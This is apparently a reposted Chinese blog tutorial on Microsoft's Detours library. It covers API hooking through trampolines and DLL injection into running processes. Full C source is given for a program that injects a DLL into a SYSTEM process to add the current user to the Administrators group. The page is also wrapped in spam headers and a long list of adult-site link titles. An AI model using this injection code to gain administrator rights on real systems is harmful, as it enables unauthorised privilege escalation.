青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

codeArt

codeArt

關于Detours[轉]

Detours是微軟開發的一個函數庫(源代碼可在http://research.microsoft.com/sn/detours 免費獲得), 用于修改運行中的程序在內存中的影像,從而即使沒有源代碼也能改變程序的行為。具體用途是:

攔截WIN32 API調用,將其引導到自己的子程序,從而實現WIN32 API的定制。
為一個已在運行的進程創建一新線程,裝入自己的代碼并運行。
本文將簡介Detours的原理,Detours庫函數的用法, 并利用Detours庫函數在Windows NT上編寫了一個程序,該程序能使有“調試程序”的用戶權限的用戶成為系統管理員,附錄利用Detours庫函數修改該程序使普通用戶即可成為系統管理員(在NT4 SP3上)。

一. Detours的原理

1. WIN32進程的內存管理

總所周知,WINDOWS NT實現了虛擬存儲器,每一WIN32進程擁有4GB的虛存空間, 關于WIN32進程的虛存結構及其操作的具體細節請參閱WIN32 API手冊, 以下僅指出與Detours相關的幾點:

(1) 進程要執行的指令也放在虛存空間中
(2) 可以使用QueryProtectEx函數把存放指令的頁面的權限更改為可讀可寫可執行,再改寫其內容,從而修改正在運行的程序
(3) 可以使用VirtualAllocEx從一個進程為另一正運行的進程分配虛存,再使用 QueryProtectEx函數把頁面的權限更改為可讀可寫可執行,并把要執行的指令以二進制機器碼的形式寫入,從而為一個正在運行的進程注入任意的代碼

2. 攔截WIN32 API的原理

Detours定義了三個概念:

(1) Target函數:要攔截的函數,通常為Windows的API。
(2) Trampoline函數:Target函數的復制品。因為Detours將會改寫Target函數,所以先把Target函數復制保存好,一方面仍然保存Target函數的過程調用語義,另一方面便于以后的恢復。
(3) Detour 函數:用來替代Target函數的函數。

Detours在Target函數的開頭加入JMP Address_of_ Detour_ Function指令(共5個字節)把對Target函數的調用引導到自己的Detour函數, 把Target函數的開頭的5個字節加上JMP Address_of_ Target _ Function+5作為Trampoline函數。例子如下:

攔截前:Target _ Function:
;Target函數入口,以下為假想的常見的子程序入口代碼
push   ebp
mov   ebp,   esp
push   eax
push   ebx
Trampoline:
;以下是Target函數的繼續部分
……

攔截后: Target _ Function:
jmp   Detour_Function
Trampoline:
;以下是Target函數的繼續部分
……

Trampoline_Function:
; Trampoline函數入口, 開頭的5個字節與Target函數相同
push   ebp
mov   ebp,   esp
push   eax
push   ebx
;跳回去繼續執行Target函數
jmp   Target_Function+5
3. 為一個已在運行的進程裝入一個DLL

以下是其步驟:

(1) 創建一個ThreadFuction,內容僅是調用LoadLibrary。
(2) 用VirtualAllocEx為一個已在運行的進程分配一片虛存,并把權限更改為可讀可寫可執行。
(3) 把ThreadFuction的二進制機器碼寫入這片虛存。
(4) 用CreateRemoteThread在該進程上創建一個線程,傳入前面分配的虛存的起始地址作為線程函數的地址,即可為一個已在運行的進程裝入一個DLL。通過DllMain 即可在一個已在運行的進程中運行自己的代碼。

二. Detours庫函數的用法

因為Detours軟件包并沒有附帶幫助文件,以下接口僅從剖析源代碼得出。

1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

功能:從一DLL中找出一函數的入口地址
參數:pszModule是DLL名,pszFunction是函數名。
返回:名為pszModule的DLL的名為pszFunction的函數的入口地址
說明:DetourFindFunction除使用GetProcAddress外,還直接分析DLL的文件頭,因此可以找到一些GetProcAddress找不到的函數入口。

2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
功能:該宏把名為target_name 的Target函數生成Trampoline函數,以后調用 trampoline_prototype在語義上等于調用Target函數。

3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
功能:用Detour 函數攔截Target函數
參數:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函數的入口地址。

4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
功能:恢復Target函數
參數:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函數的入口地址。

5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
功能:為一個已在運行的進程裝入一個DLL
參數:hProcess是進程的句柄,lpDllName是要裝入的DLL名

三. 程序實例

以一個能使有“調試程序”的用戶權限的用戶成為系統管理員的程序做例子說明Detours 庫函數的用法。程序的設計思路是找一個以System帳號運行的進程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把當前用戶加入到 Administrators本地組的DLL,因為該DLL在這些進程的安全上下文環境運行,所以有相應的權限。

先編寫相應的DLL:

/*admin.dll, 當進程裝入時會把名為szAccountName
的用戶加入到Administrators本地組。*/

#include
#include
#include
#include

/*以下創建一共享段實現進程間的數據通訊,
szAccountName 是用戶名,bPrepared說明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序調用SetAccountName設置要加入到Administrators
本地組的用戶名,并通知DllMain
已初始化szAccountName ,
以后被裝入時可調用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
    wcscpy(szAccountName,Name);
    bPrepared=TRUE;
}

/*把名為szAccountName的用戶加入
到Administrators本地組*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname=szAccountName;
    NetLocalGroupAddMembers(NULL,L"Administrators",
        3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
        DWORD dwReason, PVOID lpReserved)
{
    switch (dwReason) {
   case DLL_THREAD_ATTACH:
       if (bPrepared)
           ElevatePriv();
    }
    return TRUE;
}

程序如下:

/*AddMeToAdministrators.exe 把當前用戶加入到
Administrators本地組。使用方法為:(1)
運行任務管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的進程ID (2)執行AddMeToAdministrators.exe procid, 其中procid為(1)記下的進程ID (3)簽退再簽到,運行用戶管理器,即可發現自己已在Administrators本地組中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用戶名稱*/

void GetCurrentUser(wchar_t *szName)
{
    HANDLE hProcess, hAccessToken;
    wchar_t InfoBuffer[1000],szAccountName[200],
        szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200,
        dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = GetCurrentProcess();

    OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

    GetTokenInformation(hAccessToken,TokenUser,
        InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid,
        szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    wcscpy(szName,szDomainName);
    wcscat(szName,L"\");
        wcscat(szName,szAccountName);
}

/* EnablePrivilege啟用自己的“調試程序”的用戶權限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES, &hToken))
        return FALSE;
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValue(NULL, szPrivName,
        &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
    AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(tp), NULL, NULL);
    return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
                   LPSTR lpszCmdLine, int
                   nCmdShow)
{
    INT argc;
    WCHAR **argv;
    argv = CommandLineToArgvW(GetCommandLineW(),
        &argc);
    INT nProcessId = -1;
    if (argc!=2){
        wprintf(L"usage %s pid", argv[0]);
        return 1;
    }
    nProcessId = _wtoi(argv[1]);
    printf("%d ",nProcessId);
    /*要成功執行ContinueProcessWithDll,要對winlogon.exe等進程的進程句柄有讀寫存儲器內容和創建線程的權限,EnablePrivilege使本進程有這樣的權利。*/

    if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
        printf("AdjustTokenPrivilege Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    HANDLE   gNewHandle =
        OpenProcess(PROCESS_ALL_ACCESS
        , TRUE, nProcessId);
    if (!gNewHandle){
        printf("OpenProcess Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    wchar_t szName[100];
    GetCurrentUser(szName);
    SetAccountName(szName);
    If (!ContinueProcessWithDll(gNewHandle,
        L"c:\temp\admin.dll")) {
            printf("ContinueProcessWithDll failed %u",
                (UINT)GetLastError());
            return 3;
    }
    return 0;
}
因為“調試程序”的用戶權限缺省情況下僅賦予給管理員,因此并不會造成安全漏洞。但該程序揭示出“調試程序”的用戶權限其實是至高無上的用戶權限,只能授予給可信用戶。

四. 結論      Detours是一強大的工具,提供了簡單易用的函數接口來攔截WIN32 API調用和為一個已在運行的進程裝入一個DLL。

posted on 2010-08-29 23:08 codeArt 閱讀(638) 評論(0)  編輯 收藏 引用 所屬分類: C++

<2010年8月>
25262728293031
1234567
891011121314
15161718192021
22232425262728
2930311234

導航

統計

常用鏈接

留言簿(1)

隨筆分類

隨筆檔案

文章檔案

編程與開源

搜索

最新評論

閱讀排行榜

評論排行榜

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            久久精品国产一区二区三区| 99国产精品国产精品久久| 香蕉久久久久久久av网站| 欧美激情无毛| 欧美大片专区| 欧美激情视频免费观看| 欧美va日韩va| 亚洲盗摄视频| 亚洲国产精品一区二区www| 欧美激情一区二区三区高清视频| 老司机免费视频一区二区| 久久午夜精品| 亚洲国产日韩一区| 亚洲综合第一| 免费观看在线综合| 免费日韩成人| 国产一区二区三区在线观看免费视频| 国产精品久久久久久影院8一贰佰| 亚洲国产欧美一区二区三区丁香婷| 国产一区二区在线观看免费播放 | 噜噜噜噜噜久久久久久91| 欧美乱在线观看| 国产精品h在线观看| 在线激情影院一区| 亚洲欧美日韩精品久久亚洲区 | 亚洲永久视频| 亚洲国产岛国毛片在线| 亚洲黄色三级| 久久久精品一区二区三区| 亚洲视频专区在线| 欧美午夜视频一区二区| 中文av一区特黄| 日韩视频三区| 欧美色欧美亚洲另类二区| 一本综合久久| 亚洲精品永久免费| 欧美三级电影精品| 一区二区高清视频在线观看| 最新日韩中文字幕| 欧美国产日本高清在线| 一本一本a久久| 亚洲一区二区三区在线看| 国产精品www994| 欧美在线视频一区| 久久久www免费人成黑人精品| 国产婷婷一区二区| 欧美国产日韩精品免费观看| 欧美了一区在线观看| 亚洲欧美另类久久久精品2019| 亚洲欧美日韩在线播放| 黄色成人在线网址| 亚洲人成网站777色婷婷| 国产精品久久久久久av福利软件| 亚洲伊人久久综合| 欧美a级一区二区| 欧美在线网址| 国产精品久久久久久久午夜| 欧美不卡视频一区| 国产精品系列在线| 亚洲级视频在线观看免费1级| 国产精品露脸自拍| 91久久国产综合久久蜜月精品| 亚洲精品在线观看免费| 黄色成人精品网站| 亚洲欧美综合精品久久成人| 在线视频国产日韩| 欧美制服丝袜第一页| 99re热这里只有精品视频| 亚洲欧美成人一区二区三区| 99国产精品久久久久久久成人热 | 玖玖玖国产精品| 久久亚洲精品一区二区| 国产亚洲精品aa| 亚洲欧美另类综合偷拍| 欧美中文在线视频| 国产日韩欧美视频| 久久精品91| 免费的成人av| 亚洲精品美女在线观看| 欧美日韩亚洲成人| 午夜国产欧美理论在线播放| 久久久噜噜噜久久狠狠50岁| 国内精品久久久久久| 免费成人黄色av| 日韩系列在线| 久久久久.com| 一区二区三区.www| 国产精品综合久久久| 久久精品日韩欧美| 亚洲另类视频| 免费不卡视频| 校园激情久久| 亚洲精品久久视频| 国产视频一区免费看| 欧美日韩国产亚洲一区| 久久久久在线| 亚洲一区日本| 在线亚洲欧美视频| 国产在线成人| 亚洲欧美日韩精品久久久久| 亚洲国产片色| 久久久人成影片一区二区三区| 日韩视频不卡中文| 欧美激情一区在线| 免费观看在线综合| 久久尤物电影视频在线观看| 新67194成人永久网站| 夜夜爽99久久国产综合精品女不卡| 在线日韩中文字幕| 尤物yw午夜国产精品视频| 国产日韩成人精品| 国产手机视频精品| 国产一区香蕉久久| 伊人精品在线| 亚洲精品综合| 亚洲一区二区三区在线看| 宅男精品视频| 欧美在线视频一区| 暖暖成人免费视频| 亚洲六月丁香色婷婷综合久久| 亚洲精品影院在线观看| 一区二区三区精品久久久| 一本久道久久综合中文字幕| 亚洲无玛一区| 麻豆精品网站| 国产精品久久久久久久久久ktv| 国产嫩草一区二区三区在线观看| 国产婷婷色一区二区三区| 伊人精品视频| 亚洲欧美国产高清| 牛人盗摄一区二区三区视频| 亚洲国产欧美一区二区三区同亚洲 | 亚洲精品中文字幕女同| 夜夜嗨av一区二区三区中文字幕| 午夜精品久久久久久久99热浪潮 | 欧美gay视频激情| 欧美亚洲视频在线看网址| 欧美成人有码| 一色屋精品亚洲香蕉网站| 亚洲一区精品在线| 亚洲日本欧美| 免播放器亚洲一区| 精品成人在线| 美女在线一区二区| 久久国产乱子精品免费女| 国产欧美日韩视频| 中文在线一区| 亚洲精品视频在线观看免费| 欧美1区3d| 亚洲免费高清| 日韩一级大片在线| 欧美视频一区二区| 亚洲与欧洲av电影| 夜夜夜久久久| 国产欧美日本一区视频| 欧美一二三区在线观看| 午夜精彩视频在线观看不卡| 国产精品久久午夜夜伦鲁鲁| 欧美伊人久久大香线蕉综合69| 亚洲素人在线| 在线观看久久av| 亚洲第一精品夜夜躁人人爽| 牛人盗摄一区二区三区视频| 一区二区高清在线观看| 亚洲欧美日韩直播| 亚洲精品视频免费| 亚洲欧美在线看| 最近中文字幕日韩精品| 亚洲免费播放| 在线看日韩av| 欧美影片第一页| 欧美久色视频| 久热国产精品视频| 国产精品扒开腿做爽爽爽软件| 久久综合影音| 国产一区二区三区黄视频| 亚洲片在线观看| 激情一区二区三区| 午夜精品久久久久影视| 亚洲视频免费| 欧美日韩亚洲另类| 亚洲人午夜精品| 亚洲精品视频在线观看网站| 欧美怡红院视频| 久久国产主播精品| 国产日韩精品一区观看| 一本大道久久a久久精品综合| 亚洲破处大片| 欧美精品一区视频| 日韩视频中文字幕| 亚洲午夜精品视频| 国产精品久久福利| 香蕉精品999视频一区二区| 午夜在线a亚洲v天堂网2018| 国产欧美激情| 一区二区三区色| 模特精品在线| 一区二区国产日产| 久久精品论坛| 亚洲日本va午夜在线电影|